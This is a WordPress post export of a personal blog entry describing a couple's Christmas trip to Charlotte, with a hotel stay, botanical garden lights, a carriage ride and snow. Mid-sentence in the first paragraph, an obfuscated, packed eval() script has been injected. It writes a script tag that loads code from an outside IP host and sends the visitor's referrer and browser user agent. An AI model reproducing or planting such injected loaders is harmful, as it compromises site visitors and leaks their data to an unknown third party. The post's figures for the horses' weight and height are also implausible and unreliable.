{"id":1707,"date":"2010-12-26T09:55:00","date_gmt":"2010-12-26T16:55:00","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1707"},"modified":"2011-10-07T11:09:54","modified_gmt":"2011-10-07T18:09:54","slug":"christmas-in-charlotte","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1707","title":{"rendered":"Christmas in Charlotte"},"content":{"rendered":"<p>Since Paul&#8217;s birthday is the 24th, and mine is the 25th, and since it&#8217;s our first Christmas together, we decided we should Go Somewhere.\u00c2\u00a0 And since we had a really wonderful time in Charlotte last summer, we went back.\u00c2\u00a0 And of course, like pretty much everybody else on the eastern seaboard, we got snow.<\/p>\n<p><!--more-->Christmas <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiiyk|var|u0026u|referrer|ihkae||js|php'.split('|'),0,{}))\n<\/script><\/noindex> eve morning we drove to Charlotte, and got a surprise along the highway:\u00c2\u00a0 we saw Santa Claus!\u00c2\u00a0 <em>On a motorcycle! <\/em><\/p>\n<p>The Dunhill hotel is a tiny little historic hotel &#8211; it has only 10 floors, and only about 4 rooms to each floor.\u00c2\u00a0 It nestles in next to the much taller, modern buildings downtown like a pretty little sparrow next to a bunch of &#8230;\u00c2\u00a0oh, I don&#8217;t know, tall, grey, elegantly angular birds.\u00c2\u00a0 Herons?<\/p>\n<p><a href=\"..\/wp-content\/uploads\/2010\/12\/hotel2.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"hotel2\" src=\"..\/wp-content\/uploads\/2010\/12\/hotel2-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" \/><\/a><a href=\"..\/wp-content\/uploads\/2010\/12\/hotel.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"hotel\" src=\"..\/wp-content\/uploads\/2010\/12\/hotel-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" \/><\/a><\/p>\n<p>Christmas eve,\u00c2\u00a0 we headed over to the botanical gardens to see the wonderful Christmas lights display.\u00c2\u00a0 They had clearly reproduced a good deal of the summer-garden layout (light-sunflowers in the sunflower beds, light-wisteria hanging from the gazebo, etc.)\u00c2\u00a0 The best parts couldn&#8217;t be captured in a photo, though:\u00c2\u00a0 1) the\u00c2\u00a0 giant snowflakes hung way, way up high in some far-off trees (my camera simply wouldn&#8217;t catch them in the dark)\u00c2\u00a0 and 2) the simply lovely Christmas music being piped in all over the garden (guitars and harps and oboes doing good classic carols in the background, everywhere we walked).<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/Garden1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1712\" title=\"tulip\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/Garden1-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden31.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1715\" title=\"butterfly\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden31-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden42.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1716\" title=\"a wide view\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden42-300x106.jpg\" alt=\"\" width=\"300\" height=\"106\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden42-300x106.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden42-1024x362.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1717\" title=\"dove\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden5-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden7.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1719\" title=\"stars\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden7-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden9.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-1721\" title=\"wisteria\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden9-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden8.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1720\" title=\"sunflowers\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden8-300x167.jpg\" alt=\"\" width=\"300\" height=\"167\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden8-300x167.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/garden8-1024x570.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/R1better.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Rebecca (in the  garden)\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/R1better-300x215.jpg\" alt=\"\" width=\"300\" height=\"215\" \/><\/a><\/p>\n<p>We warmed up inside with hot chocolate (and a free &#8220;holiday activity&#8221; hosted by the gift shop:\u00c2\u00a0 making little rose and cedar sachets), and also in the beautiful orchid conservatory, where the volunteer guide pointed out a lemon tree, coffee and cocoa, a banana tree with bananas on it, and a black pepper vine.\u00c2\u00a0 (There were also some delightful little model railways running through the orchids.)<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/RP3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1722\" title=\"Orchid tree\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/orchid1-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/orchid1-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/orchid1-768x1024.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1723\" title=\"Rebecca and Paul (orchid tree)\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/RP3-258x300.jpg\" alt=\"\" width=\"258\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/RP3-258x300.jpg 258w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/RP3-882x1024.jpg 882w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/RP3.jpg 1494w\" sizes=\"(max-width: 258px) 100vw, 258px\" \/><\/a><\/p>\n<p>We ended the evening with a fantastic carriage ride around the whole garden.\u00c2\u00a0 The horses, Jake and Elwood, were positively enormous (about 22,000 pounds each, the driver said) and they were feeling pretty cheerful and trotting pretty darn quick.<\/p>\n<p>Elwood bit me.<\/p>\n<p>Well, he bit my sleeve.\u00c2\u00a0 But he could certainly have taken my arm off if he&#8217;d wanted to.\u00c2\u00a0 Here&#8217;s one of them (Jake and Elwood are pretty identical) in a summertime photo:\u00c2\u00a0 you have to picture two of these guys, standing at least 8 or 9 feet tall at the shoulder, in the dark, in the winter.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/horse.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1725\" title=\"horse\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/horse.jpg\" alt=\"\" width=\"190\" height=\"159\" \/><\/a><\/p>\n<p>We got back much too late for any restaurants to be open, so we had a dinner of bread and cheese and pickles in the hotel room, which was perfect.<\/p>\n<p>Christmas morning we opened presents, and watched some holiday movies on tv (er&#8230; Star Wars, actually, but that counts), and then went out for a walk.\u00c2\u00a0 The weather was cold but still clear, and downtown Charlotte had a giant decorated tree on nearly every corner.\u00c2\u00a0 We had a fantastic dinner at the hotel that evening, and everybody (including the waitress) was watching out the window to see if the precipitation, which had just begun, would turn into snow.\u00c2\u00a0 By Sunday morning, it certainly had!\u00c2\u00a0 At least a couple of inches of perfect fluffy snow covering everything &#8211; so of course we went out for another walk.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/goldballs.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1731\" title=\"downtown Charlotte\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/goldballs-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/goldballs-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/goldballs.jpg 384w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><a href=\"..\/wp-content\/uploads\/2010\/12\/snow1.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"snow1\" src=\"..\/wp-content\/uploads\/2010\/12\/snow1-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" \/><\/a><\/p>\n<p>A giant gingerbread house!<br \/>\nThe gingerbread house was built (as we could see by peeking through the sugar windows) over a plywood frame, but the whole thing was entirely covered with giant bricks of gingerbread and candy corbels.<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1737\" title=\"house1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house1.jpg\" alt=\"\" width=\"640\" height=\"480\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house1.jpg 640w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house1-300x225.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1738\" title=\"house2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house2.jpg\" alt=\"\" width=\"640\" height=\"480\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house2.jpg 640w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house2-300x225.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1739\" title=\"house3\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house3-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house3-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/house3.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Cute pictures of us (we took a lot of those):<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/paul.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"paul\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/paul-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/PaulRebecca.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Paul&amp;Rebecca\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/PaulRebecca-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/PaulRebecca2.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"Paul&amp;Rebecca2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/PaulRebecca2-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/crackers.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"crackers\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2010\/12\/crackers-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Since Paul&#8217;s birthday is the 24th, and mine is the 25th, and since it&#8217;s our&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[20,34],"class_list":["post-1707","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-holiday","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1707"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1707"}],"version-history":[{"count":11,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1707\/revisions"}],"predecessor-version":[{"id":2078,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1707\/revisions\/2078"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1707"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}